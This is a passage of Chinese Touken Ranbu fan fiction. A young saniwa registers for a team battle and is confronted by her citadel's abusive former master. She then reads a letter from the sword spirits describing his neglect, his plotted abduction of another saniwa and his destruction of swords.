笹贯正抱着手臂,靠在门边欣赏自己的壮举,“主君,你看。我可是用了‘强力去渍洗衣液’呢。”他用力叹气,“如果山姥切君能露出脸就很完美了。”
“……仿造品有什么可炫耀的。”山姥切国广拉低头上的布。
你更好奇山姥切被笹贯打扮成什么样,每次靠近,山姥切连连躲开。
等衣服熏好穿上,天空吐露鹅黄。你浑浑噩噩与山姥切来到寝殿前的广场。
狐之助启动时空转换器,周围的场景瞬间宛如流动的糖浆。
“审神者大人,山姥切大人,我们正在前往位于2205年坐标的「第一总务处」。”在你怀里的狐之助贴心介绍,“时之政府本体存在于一个绝对时间节点,但为了方便各个时代的审神者,设立了多个这样的投影分部。”
狐之助嘴不停倒豆子,你尝试用自己的方式理解,“就是主服务器和镜像服务器?”
“这个嘛……”
还没等狐之助回答完毕,你忽然一阵眩晕。小乌丸出门前提到吃早餐会腹涨,影响外在形象,你今天的早餐只有一杯加双份糖红茶,此时血糖过山车般降了下来。
你下意识扶住山姥切的手臂。
狐之助从你怀里跳下,落在2205年的地面,“怎么了,审神者大人?您晕时空转换了?”
“饿了……”
你慢悠悠回答,视线落在狐之助身上,圆滚滚的身体,那毛茸茸的金橘色皮毛,像一个巨大的油炸豆腐。
美味!
狐之助嗖嗖炸毛,蹦到山姥切腿后。
山姥切愣了一下,从随身的姆明包里找出一块还残留余温的饭团塞进你手里。
这应该是他的早餐,不过你还是低头急忙咬一口,盐巴的味道布满口腔,眼前的黑点稍稍减退。
“嘿。”
忽地一道声音飘过。
你停下咀嚼,抬头张望,远处有个身着华服的老人皱眉路过。你很快意识到在街道上吃东西会被其他同事看见,便把饭团重新包好,喝水冲干净嘴巴里的味道。
————
早上八点的「第一总务处」,大厅人不多。这个时间和刀剑一起来的都是年纪五十以上的审神者,他们也是和服打扮。你下意识悄悄和他们进行服装对比,看到自己的衣服还算合适,松了口气。
你嘀咕平安刀的时代观念,“怎么和我爷爷奶奶一样。”
山姥切没有回应,但兜帽微微动了一下,算是回应。
狐之助为了不妨碍你们办理手续,溜进空气里消失,你觉得这可能是「管狐」这种妖怪式神的特殊性质。
大厅空调温度很低,你走到前台,前台后坐着一位身穿长袖制服,妆容精致的女性。
“早上好,请出示您的审神者ID与同行刀剑的刀账信息。”
你从山姥切背的姆明包里拿出自己的终端,调出电子ID。她接过后,在悬浮光屏上操作几下把终端还给你。
“信息核对无误。新任审神者……初始刀,山姥切国广。申请参与本次‘联队战’,是吗?”
“是的。”
登记员没有立即拿出表单,而是用充满审视的目光打量你。在你提醒后,她才从桌底下取出一本厚重的纸质表单。
“那么,请在这里签下您的名字。”
“只要签名就行了吗?”看到那唯一的签名栏,你不可思议的确认。
没有表格,没有提交材料,你凌晨五点起床,被刀剑男士们打扮那么久,费半天劲最后就为了确认一个名字?
登记员微笑着,“是的。‘联队战’的同行令牌,会在您签名后发送到您的终端。”
你盯着那个签名栏,忍不住低低地笑出声,心里突然替本丸里的刀剑们感到一阵心酸。
原来科技不管发展到何种地步,这种根植于社会中的「形式主义」是不会变的。
你没有立刻落笔,只是笑着说,“那么‘重要’的文件,只有我一个人签名太草率了。要不,也让我的刀剑按个‘刀纹’什么的,以视共同承担责任吧。”
山姥切听到你的话,向前一步,仿佛准备好了。
此时大厅又来了几个人,眼看就要排队在你身后,登记员语气急促,“不需要。审神者大人的签名即是本丸的意志,请您签名就好。”
看到对方着急的样子,你心情莫名好起来,在签名栏签字。
签下名字最后一笔,你长舒口气,回过头找山姥切国广。
他不知何时站在一个自动贩
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卖机边,几乎整个人几乎要缩进贩卖机的阴影里。
“山姥切,我们去万屋街便利店买咖喱面包吧?”你凑上去碰了碰山姥切的手。
“哼,伪物就是伪物啊。只会躲在阴暗的角落里。”
与你的话一同响起的是一道高傲的男声。
你循声望去,只见前台站着一对新主从。你认出那个审神者,是当初万屋街那个穿金鱼和服的女人。今天,女人换上一件雅致的浅紫色小纹,黑色的头发横编在后脑勺上。
而她身边跟着的刀剑男士,不是那日看到的小狐丸和紫色和服男子,而是一个银白色短发、和山姥切长得五分相似的男人,不过更锋芒毕露。那个男人没有看你,眼睛直直的盯着阴影里的山姥切国广。
“又见面了。”
女人领着她的刀“游”到你的面前。
游?你看向女人的脚,她穿着木屐,踏在地板上竟没有发出一点声音,带着不真实的美感。
女人不咧开嘴笑的时候,因为那两颗虎牙,嘴唇凸显出一个“W”的形状,像猫的嘴。可她的身高不像猫一样娇小,比她身边的刀剑男士高一些,与你几乎平视。
你察觉到那个银发男人一直在看自动售卖机边的山姥切国广,往前迈一小步用身体切断他的视线。
“您好。我是白川桃。”女人笑着说。
这自然不是真名。但为了礼节,你不得不也把平时签名用的代号说出来。
“我是林。”你说出一个同样寻常的姓氏。
白川桃轻轻点头,转向旁边的银发男人,“长义,这不是我们家的‘山姥切’哦。”
被称作“长义”的男人眉头蹙起,张了张嘴似乎想说什么,最后视线从阴影离开,转向你。他微微颌首,“失礼了。”
听到男人的名字,你突然想到豆腐店里狐之助那句“斩杀山姥的逸话”。看来这个银发男人就是“山姥切长义”。
白川桃目光平和,“不好意思,我原以为只有我会那么早来呢,看到有比自己年纪小的人提早到,真的是松口气。那么有时间观念的大学生现在很少了。”
她的声音非常悦耳,仿佛潺潺流水。你没想到白川桃一眼看出你的年龄,平时走街访友大家都会问你是不是高中生。
“请问……您是中国人?”白川桃接着说。
“啊。”
白川桃莞尔一笑,“因为您与日本人神态和面相不同。我的母亲也是中国人,所以我能分辨出来。”
“是了,中国很流行这个吧。‘一壶浊酒喜相逢。古今多少事’……”白川桃突然哼唱某版《三国演义》主题曲。
你脸一红,慌忙打住。不过也感觉和她的距离拉进不少。
她最后以一句“请多多关照”收尾。看到你没有回话,白川桃突然扑哧一笑,两颗虎牙又露了出来,“那个……我是不是说太多了?别当回事。”
这时候回答「是」的话太不识趣了,你只好回答:“没有。”
“那就好,”她若无其事的补充,“您比第一次见面时精神多了。”
你突然觉得有点不妙,自己好像在跟着白川桃的节奏在走。白川桃身边的山姥切长义嘴角也噙着一抹淡淡的微笑,你明白那是一种刀剑对其主人全然信赖、有荣共焉的骄傲。
白川桃从手提包里拿出一个细细长长的,可爱草莓包装纸包着的东西,递到你面前,“其实我原本打算今天早餐随便解决的,但我们家的长义坚持要我回本丸吃。您不介意的话尝尝看吧,据说是万屋最近很受欢迎的新品。”
你脑中一片空白,本能地接过零食。满脑子想着白川桃穿着质地高级的和服,去万屋买小零食的样子。
“那就多谢了。”你的嘴比脑子先动,“我们家的国广也给我准备了早餐。看来体贴的山姥切,总是心有灵犀。”
什么叫“我们家的国广”!你反应过来被白川桃的说话风格带岔,耳根烧起来。
但你没有说谎,你怀里还有山姥切给你的饭团。你正要摸怀里饭团的位置——
“林先生,请留步。”
前台的登记员匆匆走来,用高八度的服务音,打断你和白川桃的交谈。
“请和我来,关于‘联队战’的事,有人要见您。”
12. 第十二章
登记员带你来到一楼靠近电梯的接待室。
接待室大小约莫四个茶室相加,四面白墙,没有窗户,整体颜色单调,看上去毫无生气。角落有一台正在运作的空气净化器。脚每次下落,地板上会有两种极浅的光纹浮现,一种是白色,一种是比白色更浅的金红色,仿佛两只不同颜色的眼睛,默默监视这个空间所有物体。
你收回目光,注意到一个穿黑西装的中年男人落座在靠近门口的位置。在简单的点头寒暄过后,你选择坐在男人的对面。因为山姥切是刀剑男士,所以只能在门口等待。
见面时间半小时。自你进入起大门“咚”一声关上,你坐在椅子上坐下,深吸一口气,看向对面的男人。
男人看上去四十岁左右,样貌普通,没有任何记忆点。穿着一身布料昂贵的西装,条纹领带,头发用头油固定。皮肤呈现暗沉的古铜色,不知道是不是对方过于肥胖的问题,空调房里他一直用手帕擦拭脖子上的汗,身上散发浓重的香水味。
他又向你点头,无神的眼睛从你的头一直往下扫视,最后黏在你脸上。
“我是佐藤。”
他一句话将你拉回现实。
他的声音很奇怪,在这个空间没有产生任何回音。你发觉这个房间有可能是隔音房。
“佐藤先生,您好。我是审神者‘林’。”你冷静下来,毕竟「佐藤」是个大姓,也许是重姓的人,而且「佐藤」本身也可能是代号。
佐藤面前的笔记本一片空白,他不停玩着手里的笔,食指在笔帽处摩擦。
“嗯……林先生是吗?你上任以来过得如何?”佐藤抛出个起手式。
你用诚恳的语气回答,“蒙时之政府的福,我接手的本丸,刀剑男士们都很好。”
佐藤噗嗤一笑,烦人的敲笔声停下,“还可以吗?不不不,他们……我是说他们总是和人类不一样的。”
你不明白佐藤为什么在聊‘联队战’以外的话题,“这怎么说?”
“时之政府处理过专门针对审神者的‘神隐’事件哦。你有去过万屋街吗?在万屋街看过有关告示吧!”
佐藤咬重音时飞出几滴唾沫星子,你微微后仰,尽量控制自己不做多余的动作。
你露出礼节性的微笑,“您的意思是……?”
“总之那些家伙就是时之政府研究出来的武器,没有人类感情可言。”佐藤侃侃而谈,你不明白什么触发了他的神经。
“因为你太年轻,太好骗!”佐藤先下结论,“他们对你好,实际上只是他们伪装出来的。你要是再小一点,他们就不会理会你的想法,也许还会强迫你听他们的话。不,直接说他们是伪装成人类的鬼怪也差不多吧,如果不严加看管,就会弑杀主君。”
你望向水杯,水面沾上几粒灰尘,让人毫无胃口,“我也曾听说过有审神者虐待刀剑男士。”
“林啊,这种传闻也太讨厌了。我可从来没听说过这种事。”他直呼起你的名字。
“我猜啊,觉得虐待刀剑男士的那些人,肯定就是那些游手好闲的阴谋论者吧。那种人尽快揪出来开除比较好。”
佐藤的笔终于不堪他反复折磨,笔帽“噗”地弹出去,在桌面滚了几圈落到地上,佐藤想弯腰,但他的身体卡在椅子和桌子间,普通人这时应该会拉开椅子,可他却不肯挪动一点。在他重复两次弯腰动作后,出于礼节,你帮他找笔帽。从桌底狭隘的空间里,你看见佐藤的皮鞋很干净,没有外出奔波的灰尘。
你捡起那个黏着汗水、滑溜溜的小笔帽还给佐藤,他的手指湿冷湿冷的。
佐藤回到椅子上,仿佛刚刚的失态没有发生过。看到他现在正经的样子,你想到刚刚的佐藤宛如五花肉一样在座位上蠕动,下意识勾起嘴角。
“当然啦,我不是说林你是这样的人。”佐藤清了清嗓子,误以为你在讨好他,“嗯,实际上我也是从「内部育成」里出来的。”
“所以,如果你不愿意参与「内部育成」,”佐藤露出个自认为宽厚的笑容,“我也可以亲自指导你。”
你眼神闪了闪,佐藤做过审神者?
你努力调动自己的情绪,换上一副恰到好处的好奇,“原来佐藤先生曾经做过审神者吗?那么一定是很厉害的审神者吧?”
佐藤的胸膛立刻挺了起来,食指不停推开、扣上刚才的笔帽,明明房间很冷,但他不停用手帕擦汗。
“当然!我可是很厉害的审神者,在审神者内部论坛很受欢迎。”佐藤爆发出大笑,“不是我自夸,就算当了时政内务。我还是短短半个月就让部门的「三桥」和我称兄道弟,还比审神者时期更有人气。”
佐藤呵呵笑,“不过可惜,我的审神者账号已经停用了,没办法给你看那些女人们是怎么追求我的。我是个公私分明的人,如果你对我感兴趣,可以联系我的私人号哦。”
“您似乎很喜欢和新人交流?”
“新人?哦~嘿嘿,看不出来啊,林,你也感兴趣吗?我们真的志同道合,应该很多人朝你投怀送抱吧?”佐藤起身坐到你身边,语气甜腻。他身上那股香水味混杂着酸臭,你觉得这不像是汗酸味,而是似曾相识的气味。
“……”你呼出口气,胃里翻滚。这股奇怪的酸臭味,自鸣得意的炫耀,对“新人”病态的迷恋……现在你差不多可以确定眼前的佐藤,就是你所接管的本丸的前任审神者。
但是他为什么会成为时之政府的内务公务员?
诚然,「审神者」这个职业是特殊公务员的一种,但时政内部也有内外公务员区分。为了防止利益冲突和权限混乱,两者职务与审神者不重合,并规定绝对不允许同时担任。
你没有兴趣再和他谈话,在得知他就是「佐藤」本人后,只想着如何碾碎他。
肯定是不能在这间办公室里动手。
你直径站起身,重新坐到佐藤对面,“你叫我来到底要干什么,不是讨论‘联队战’的事吗?”
似乎没预料到你会直接走开,佐藤油腻的笑容僵在脸上,过了一会他咳嗽好几声缓解尴尬。
“我要你……”他的声音变得尖厉,“放弃那个本丸。”
你的指尖在桌上敲击,嘴角紧绷,“为什么?”
“那种‘二手货’有什么好的,”佐藤一口气喝光杯子里的水,几乎是尖叫,“被人用过的东西,就该安分一点等待被回收!你不是新人吗,有大把机会去锻造完全属于你的刀,干嘛非要捡别人剩下的!”
你觉得必须说点什么,“我的刀剑……”你拧起眉头,“很信任我。”
“放屁,”佐藤咆哮着,唾沫星子飞溅,“那是我的刀。”
“什么你的刀,”你喝斥,“你已经不是审神者了!”
“嘿,也只有你们这些贪图别人刀剑的人,才喜欢接手二手本丸。”
你冷笑,“你是不是早餐没漱口?日本也很多家族本丸吧,难道那些继承人也喜欢二手?”
佐藤猛地捶桌子,桌上的笔记本震掉在地上,“我可是时之政府的公务员,你怎么用这种语气和我说话!”
他猛地站起来,身后的椅子翻倒在地,猩红的眼睛死死盯着你:“我说,你怎么不真的死掉呢,安安稳稳死掉成佛不好吗?”
“呵,可是你伟大的时之政府选择了我。”你反口相讥,“我入职才用了三秒,三秒哦。”
“你骗人!”佐藤用力跺脚,“你不就是靠脸卖屁股才那么快上位吗!你也是用这种方法笼络本丸的刀剑当主君吧!”
血液一下冲上头顶,你的脸颊滚烫,就在你挥出拳头——地板上红色的纹路微微一闪,突然一阵铃声响起,佐藤的脸还保持扭曲的模样。
佐藤的手机没有静音。
那道声音如同天外救兵,将你们从失控的边缘强行拉回,你的拳头擦过佐藤的耳边停住,他回过神眼底也一阵慌乱。他堪堪远离你的拳头,甚至没看来电提示,便如蒙大赦般抓起手机,踉跄着冲出办公室。
山姥切还在外面。你着急的冲出去,却发现佐藤根本没看山姥切一眼,就跑走了。
走廊很安静,只剩下你粗重的呼吸,你深深吸气,调整呼吸节奏,拳头缓缓松开,掌心留下深深的、月牙形的指甲印。
山姥切显然也认出佐藤,手一直按在刀柄上。
“主君?”山姥切罕见的用这个称呼叫你。
你看着他兜帽下的蓝眼睛,瘪了瘪嘴,他慌张的凑过来,亦步亦趋跟在你身后。在一片混乱中,狐之助从空气中出现接收你的指令:「去万屋街,随便哪里都好」
扭曲的景色如同漂浮石油的污水,你们被传送到一间不用预约的家庭餐厅。
柔和的光线,舒适的沙发,空气里漂浮食物的香气。菜单上的猪排让你莫名想到佐藤脸上的油光,胃里又一阵翻搅。
服务员送上巨大的芭菲和一汁三菜,你只是象征性地扒拉几口山药泥,便推到一边,专心吃芭菲。
“你也点些什么吧,我请客。”你想起山姥切给你的饭团现在还在你怀里,不过早已冷却。
山姥切摇头。他沉默的看着你,在你将定食彻底冷落后,他才询问轻声询问你是否还用,然后自然地把你吃剩下的米饭和味增汤拉到面前,吃起来。
芭菲一口口送入嘴中。蒙布朗,冰淇淋,蛋糕体,栗子泥,混合后什么味道也没有。
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幸好,一个念头突然闯入脑海。
幸好我那拳没有打中佐藤。幸好没有在总务处和一个人渣大打出手。
你的心里腾升难以抑制的悔意,更多是对自己突然失去理智的失望。
“你觉得……”你的嘴不受控制的问山姥切,“我是本丸的主君吗?”
山姥切停下咀嚼,“问一个仿品……”山姥切的话在舌尖上滚一圈,看到你的表情立马止住嘴,“是。”
你松口气,又问,“我是你们的主君吗?”
同一个问题问两次,你的大脑一定被佐藤传染了傻子病毒,烧脱线了。
山姥切的头更低了,“是。”
“我……”你用力摇头,一只手搭上额头,挡住脸。华丽的银质勺子颤颤巍巍的舀起一勺冰淇淋。
和佐藤的交流撬开你初中的记忆。
塞满抽屉的冰淇淋包装纸,走路时无缘无故的撞击。偶尔他们会对你动手,但你反应快,下手狠,久而久之那些人对你说话小心翼翼。这样的情况并不持续很久,因为你很快就会搬家。在新的学校周而复始。
真是奇怪,怎么世界上的男性都是一个模子印出来的,粗鲁,嫉妒,充满占有欲和破坏欲。
然后,一个模糊的、闪着光的女性身影在记忆深处浮现,她落落大方,她谈吐得体,她帮助同学,会为患有孤独症的特殊同学讲课。往班上一伫,闪闪发光,同学们自动聚集在她身边。你羡慕她,羡慕她不用伪装自己就能有一大帮朋友。
当然,你仅仅是羡慕而已。你不和任何一个人交心,不信赖任何一个人,也不会有人伤害到你。你对那个女同学的喜欢——你很快将它归类到一年三百六十五天中少数几天的脆弱时刻。
你早就忘记她的脸,她的名字,却记得她陪你去医务室拿药,在你和同学争执时拉架,放学时小组一起补习,在操场上散步,讨论以后要去的学校。
“如果XXX同学回到古代,那她一定是帝王,君主!”初中班主任的玩笑话犹在耳边。
渐渐的,那道身影和今日所见的白川桃重合。你一开始以为那些刀剑男士是畏惧她,但现在看来,她身边的刀剑男士对她的恭敬,完全来自于对她本人人格魅力的臣服。一种你不知如何拥有的东西。
「不要相信任何人!」
奶奶的告诫突然在你耳边响起。
「可是我们为什么要来教堂?」
勺子上的冰淇淋融化滴在餐桌上,留下一滴褐色污渍。你几番尝试,还是没办法把勺子送进嘴里。
你从喉咙挤出声音,喃喃自语,“我,我……我是你们的主君吗?”
“主君?!”山姥切急切的俯身。
你立即做出打住的手势,让山姥切别坐到你身边,“……没事。冰淇淋太冰了。我头疼。”
过了一会,你觉得自己终于缓过气,又点杯柠檬水。山姥切接过你没吃完的芭菲。
柠檬水里的冰块渐渐融化,你用纸巾擦拭杯壁凝结的水珠。
“嗯,”你用柠檬水润下嗓子,迫切地想忘记所有事,“那个……你和那个山姥切长义,关系不好吗?”
山姥切没有回答。
“是「逸话」吗?”你试探着问,“还是……因为佐藤?”
山姥切脸色瞬间变得惨白。
你就此打住,用吸管戳烂杯子里的柠檬片。
餐厅背景音换上某位小众歌手的《琥珀,琥珀》,女歌手声线慵懒。
你撇过头,视线漫无目的地游荡。
“我要吃、蛋糕~”“呵呵呵,主君,你中午还要吃烛台切殿的蛋包饭吧?”“我们……就吃一点点、偷偷吃不告诉大家!”
在雀跃的小提琴声中,你看到邻桌一个红发刀剑男士小心翼翼抱着一位幼小的审神者,两人头上都带着夸张到有些好笑的小蜜蜂发圈。
回去的路上你花钱给本丸的其他人带小礼品。你不明白为什么这么做,但小判流逝的瞬间,你感到一种短暂的愉快。
回到本丸,你将礼物分发下去。
小乌丸会开心的,一期一振会开心的,三日月宗近会开心的,笹贯会开心的。
你一一将礼物递到他们手中,扫视一圈,没有一个人在笑。
“主君?”小乌丸欲言又止。
山姥切叫住小乌丸,“其实……”
“我先回房睡一下。”你打断他们的对话,拿着姆明袋子独自回到天守阁。
布团还维持清晨离开时的散乱模样,堆积的疲劳如河水决提涌来,眼皮骤然变得沉重。
还要问大家有关佐藤的事。你心里那么想着,身体却倒入软绵绵的被褥里。
13. 第十三章
「我们为什么要来教堂?」
「今天教堂发面饼。」
「可是……我们不信这个,会被发现的。」
「那又怎么样,大家都不信,可不还是照样领?」
前几天新闻联播提到有一颗小行星有3.5%概率撞击地球,有人狂欢,有人讥讽,而教堂、寺庙变得人来人往。
教堂主厅摩肩擦踵的人群,汗、香水、各式各样的味道让你喘不过气。你抬头望向主厅最里面,披着蓝斗篷的圣母像垂首低眉,仿佛注视一场与她无关的闹剧。广播发出的童声合唱在穹顶回响,高大的石像目光悲哀。接过象征“救赎”的圣饼时,牧师给予你的祝福更是让你坐立不安,不停央求奶奶快点离开。
那块面饼,吃起来寡淡无味。
2012的世界末日现今已被证伪,不过当初信以为真的人意外的多。然而直到你上大学,去新生处报到,那颗陨石也没落下。那场关于世界末日的预言,最终变成一个笑谈。
轰——!
一阵短促的雷声唤醒了你,天色昏暗,世界包裹在雨水编织的轻纱中。平板上显示时间接近傍晚。你躺在被褥上看着天花板。
原来是在下雨。
你用手指轻轻揉按眼角和太阳穴,睡了一觉,心情轻松不少。
水汽氤氲的风吹过打开的障子门,庭院剩下的桂花被彻底打碎入泥。你坐在缘侧欣赏被雨水反复浇透的椿花,听远处雷声渐行渐远。
你从姆明袋子翻出白川桃给的零食,奶油草莓图案的包装袋上有某个莓之助团案,包装内侧印着保存食物的咒术。一张素白卡片从包装里滑落——是一张名片,正面是极简风的审神者ID与代号,背面是几道难以察觉的红色纹路。
打开盒子,里面是三枚装牡丹饼。红豆,黄豆粉和黑芝麻。
你先把牡丹饼放一边,打开平板,在审神者论坛搜索ID,给白川桃发送好友请求。
先去厨房找点热的食物吧。你打开房门,拉门外的木地板上摆放着一个木制饭盒,挪开饭盒后,下面压着一个信封。四周无人,估计是狐之助搬上来的。
你把饭盒和信带入室内,放在榻榻米上,查看信封。信封上写:【主君收】,信封散发若有若无的香气。
你攥紧信封,感觉信封仿佛下一秒要振翅飞走。试着用手指插入缝隙打开信封,却发现封口黏得很紧。虽然可以强行撕开,但这样封口就会不美观。
寝室内没有裁纸刀,你也不想此刻下楼去,明知本丸的刀剑们不会擅自踏入天守阁,可一想到要面对他们,你的呼吸就沉重几分。
“……失礼了。”
你转向被褥,抽出藏在里面的笹贯本体刀,心虚的想着,仅此一次,用完这次就还给笹贯。
你小心翼翼地将刀刃推出一寸。像竹叶一样轻薄的信封封口,落在刀锋上,发出细微的“嘶——”的声响,瞬间被整齐切开,留下一道笔直的切口。
「致主君:
拝啓。
秋雨绵绵,庭院椿花初开,不知您是否安好?我们托狐之助将午饭送到天守阁,希望您能多少取用一些。
这次写信给您,是想恳请您垂听有关前任审神者佐藤的事。此事关乎本丸过往,故将本丸众刀剑口述汇合,由我执笔,写下这封书信。
回首惊觉,前任离开已经过去四个月,真是弹指一挥间。于此世道,可信之物实寥寥无几。我们因祈祷而生,倾听叹息之音,然自身之祸福,却往往难料。
佐藤在今年三月入职,选择山姥切国广作为初始刀。初时一切看似寻常,我们亦曾怀抱希望,我更是大言不惭说‘守护晚辈是为父的责任’。然而,很快我们便意识到,此人与我们所期望的主君相去甚远。
时之政府发放的俸禄,都被佐藤用去居酒屋挥霍一空。我们不仅分文未取,甚至有时远征所得,也要补贴佐藤酒资空缺。
其实一切早有征兆。入职当月,除却时之政府固定的“函馆”侦查任务,他再无出阵记录,终日只知向被带来到本丸的访客宣扬自己家世。宣称其家族为了能让他进入时之政府,将他过继到一间名寺主持名下当义子。
其后,时之政府开启‘地下城活动’,这个活动需要将审神者一并送入地下参与指挥。佐藤一开始兴致勃勃,但深入地下,看到地下城里的敌人后,便吓破肝胆。自此,似乎因为自尊心受损,佐藤将全身心置于猎色之上。
后面发生的事更加荒谬,佐藤与山姥切和前田藤四郎去万屋时,直言看上了一位叫白川桃的审神者,当时那位审神者身边的近侍是山姥切长义。
佐藤希望山姥切国广能引开山对方的近侍,然后让前田藤四郎用孩子的形象放松白川阁下的警惕,意图将白川阁下强行带回本丸。
身为刀剑,我们应当对主人忠义。但佐藤所做的一切,已全然违背武士道,和我们被赋予的「逸话」与「守护历史」的荣光相驳。万幸,白川阁下和山姥切长义识破了佐藤的诡计,把佐藤制服后就离去,未曾深究。
佐藤怀恨在心,为了报复,他组织本丸内的刀剑男士去演练场,专门挑衅白川阁下的第一部队。
嗯……结果如您所料,我们一败涂地。我们心里既觉得无奈,亦有一丝感激。感激白川阁下以真正的实力给予我们公平一战。最终,双
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方以「您辛苦了」作别,结束这无谓的闹剧。
回到本丸时,三日月宗近上前谏言,佐藤却置之不理,自顾自地说:‘我就知道是这样,真是打心底对你们感到失望。’
此后,佐藤开始频繁派短刀和胁差出阵,我们都以为佐藤终于要履行审神者的职责,却发现送出去的短刀和胁差都有去无回。
佐藤先以‘任务艰巨’的理由搪塞,后又推脱因自身灵力不足,无法支撑多部队作战。等发现无法隐瞒时,他才坦然承认,那些出阵的刀剑均已‘碎裂’。当初您在审神者战绩中看到的五次作战记录,其中四次是佐藤为了掩盖碎刀行径而伪造的作战记录。他甚至大言不惭,声称我们应该对他感激涕零,是他给予了那些短刀和胁差身为刀剑男士的最高荣耀。
至此,一期一振罕见的对佐藤发了火。佐藤则畏缩在天守阁内,闭门不出。
我们不禁悲叹,赋予人类身体后的刀剑,到底和人类还有何区别?竟要承受此等无道的主人。
时之政府每年都有本丸视察。但我们实在无法再忍受佐藤,我暗中请狐之助去时之政府说明一切。可是狐之助每次回来都垂头丧气,说时之政府无人愿意接待它。
最后,还没等我们反应过来。佐藤突然辞去了审神者一职。那段时间也有本丸被时间朔行军入侵,审神者遭杀害的事件。或许是佐藤终于明白了审神者这个职业的凶险。而在离开前,佐藤进行第五次出阵,也就是把烛台切光忠一人送上战场。
本丸膳食,都是由烛台切一手操持。我想,也许是佐藤希望我们在他离去后,一顿安稳饭也吃不上吧。
我们在佐藤离去后,多次申请新的审神者上任,但不知为何消息石沉大海,狐之助也带回万屋街的传言:说此地的刀剑男士即将‘暗堕’,令众人远之。今天听完山姥切说佐藤当了时之政府公务员,想来那些谣言和阻碍都是他暗中设下的吧。为的是让我们逐渐失去灵力,最后被时之政府回收。
我们当初隐瞒您有关佐藤一事,是担心您知道佐藤的为人后,会质疑起我们的品格。加上刀剑本身的性格,会随着使用者的习惯发生微妙改变,有可能会给您营造一种印象——莫非这些刀剑帮佐藤助纣为虐?
写下这些,并不是为博取您的同情,也非为我们开脱。而是希望您知晓全部的真实,不论它多么丑陋。这封信是为了表达我们的忠诚。
夜深露重,请主君务必保重身体。昨天您挂念的桂花已经采摘完毕,等天晴之时,或可制成您教给一期一振的桂花蜜。
敬具。
小乌丸
(与本丸众刀剑一同)
」
14. 第十四章
你感到一阵前所未有的轻松,仿佛一直隔在心口的那层保鲜膜,终于被“撕拉”一声揭开了。
“表达忠诚”这四个字,你看了又看,不小心碰到地板上的饭盒,才想起饭还没吃。
打开饭盒,一边是拌海苔碎的豆子米饭,另一边是山药泥、玉子蛋还有西红柿。切成半月形的西红柿和切成细条的玉子蛋交错摆放,咋一看有点奇怪。
你不禁愕然失笑。前期远征活动时,你只在前几天做盖饭,后面为了放空大脑一直做中餐,西红柿炒蛋就是你常做的一道菜。没想到这道菜能让他们那么印象深刻。至于山药泥……你回想起早上只吃了定食里的山药泥,他们大概是以为,你至少不会对这个倒胃口。
你把冰凉的米饭送入口中,认真的吃完。然后简单洗漱,让自己看上去精神些。抱起笹贯的本体刀,提起饭盒匆匆下楼。
雨水冲洗夏日的余热,本丸换上清晰的花香。你步过北廊,望见三日月、一期一振、小乌丸、山姥切以及笹贯一起从梨花殿出来,想必是看望完沉睡的刀剑。
你的脚步瞬间变得像踩在棉花上,心里打起鼓。要怎么和他们搭话?来这座本丸后还没和大家好好闲聊过。思来想去,你决定用最稳妥的“联队战”开启话题。
对面的刀剑先发现了你。
“主君。”一期一振停下脚步,屈身行礼。其他人也随之停下,把目光投向你的方向。
“大家好啊!”你下意识用最爽朗的声线回答。
空气凝固一瞬,几位刀剑男士面面相觑,表情微妙。
三日月宗近笑着,“呵呵,真是……气势十足啊。”
“这莫非是读了信之后,怒火攻心,以至神思恍惚?”小乌丸露出担忧的表情。
看到大家的反应,你脸颊发烫,目光不自觉飘向地板,又转向走廊外的椿花,声音弱下半分,“我没事。”
三日月视线落在你怀里的刀上。你如梦初醒,连忙上前几步把刀递还给笹贯,“明天就是‘联队战’了,没刀可不行,还给你。”
“哦?”三日月饶有兴致地顺着你来的路望向天守阁,“您一直把笹贯的本体刀,安置在天守阁吗?”
你点点头,坦然回答,“放心。我没有放在本丸核心附近,我把它放在卧室里。”
“……寝室?”
这次,连三日月的笑容都僵硬了。一期一振像是听到什么天方夜谭,眼睛睁大。小乌丸露出了被雷神当头劈中的表情。笹贯总是带着几分从容的脸,此刻红得像是被火烘烤过,仿佛手里的本体刀是块烙铁。
如此情形,你不敢再说这把刀是放在枕边保管。
你略带歉意的解释,“我知道放天守阁可能不太好。只是当时不知道该放哪里,想着放近些方便照看。”
“……只是卧室,只是卧室……”山姥切喃喃重复着。
“这个嘛,”三日月终于从震惊中缓过神,“嗯~啊哈哈哈,实在是始料未及啊。”
你不解地看着他们,尤其是笹贯那赶上西红柿的脸,“怎么了?只是刀而已。”
“主君,请不要那么说。”
一期一振的语气,充满哭笑不得的无奈,“我们是「刀剑男士」,而不是「刀剑、男士」,刀与人是不可分割之物。刀的本体对我们而言……”他似乎在寻找一个合适的比喻。
你灵光一闪,“就像是‘眼镜是本体’那样吗?”
一期一振还想解释,“不,我们是刀剑付丧神,刀剑对我们来说不是像眼镜一样能随便脱掉的东西。”
全场陷入沉默。
几秒钟后,小乌丸发出今天最清朗的笑声。一期一振扶住额头,深叹口气。
你感觉一阵迷惘,只觉得人与刀的障壁真是深不可测。不过看着他们的样子,你内心的紧张缓解不少。
幸好没人继续在这个话题上纠缠。你把手圈成拳头,放在嘴边清了清嗓子,把话题拉回正轨,“关于明天‘联队战’,我想和你们一起出阵。”
“联队战”作战方式有两种,一种是审神者在本丸远程指挥,另一种是审神者亲自上场战斗。
笑声戛然而止。但这次不是因为尴尬,而是一种混合惊讶和担忧的静默。
山姥切别扭地开口,“……你也在意被拿来作比较吗?”
你立即听懂他未尽之言,自动完形填空,把这句话填充为“担心被与佐藤比较”。
你迎上山姥切的目光,先是坦然地点头,“嗯,有一点。不过更多是因为……”你稍作停顿,“我是你们的主君,主君和刀剑并肩作战,不是理所当然的吗?”
说完你学着山姥切平日里的口吻,半开玩笑补充,“而且,不这么做,又怎么能与‘仿品’相称呢?”
山姥切嘴唇动了动,还想说什么。
你没有给他反驳机会,迅速举起怀里的平板终端,“抱歉,我已经先斩后奏了。今天报到登记的同行令牌就是这个。”
一直沉默的笹贯忽然笑出声,指了指你的平板,“主君,那个……屏幕是黑的。”
“……你们能明白就行。”你泰然自若把平板收回。
“哈哈哈,也好,”三日月用袖子掩唇,“为了应对之后的战斗,主君也要变强一些呀。不过战场无眼,您总不能带那把木刀上阵吧。”
他的提议顺理成章。一番商议后,本丸的笹贯和一期一振回到厨房准备晚饭,小乌丸和山姥切国广去田地查看蔬菜雨后情况。陪你买武器的任务,自然落在看似消闲的三日月宗近身上。
万屋街依然热闹,妖怪和人类一起开的店铺饶有风趣。布告栏里「如何和野猫相处」的旧告示被悄然换下,取而代之「参加审神者防灾训练」布告被贴在最显眼的地方。
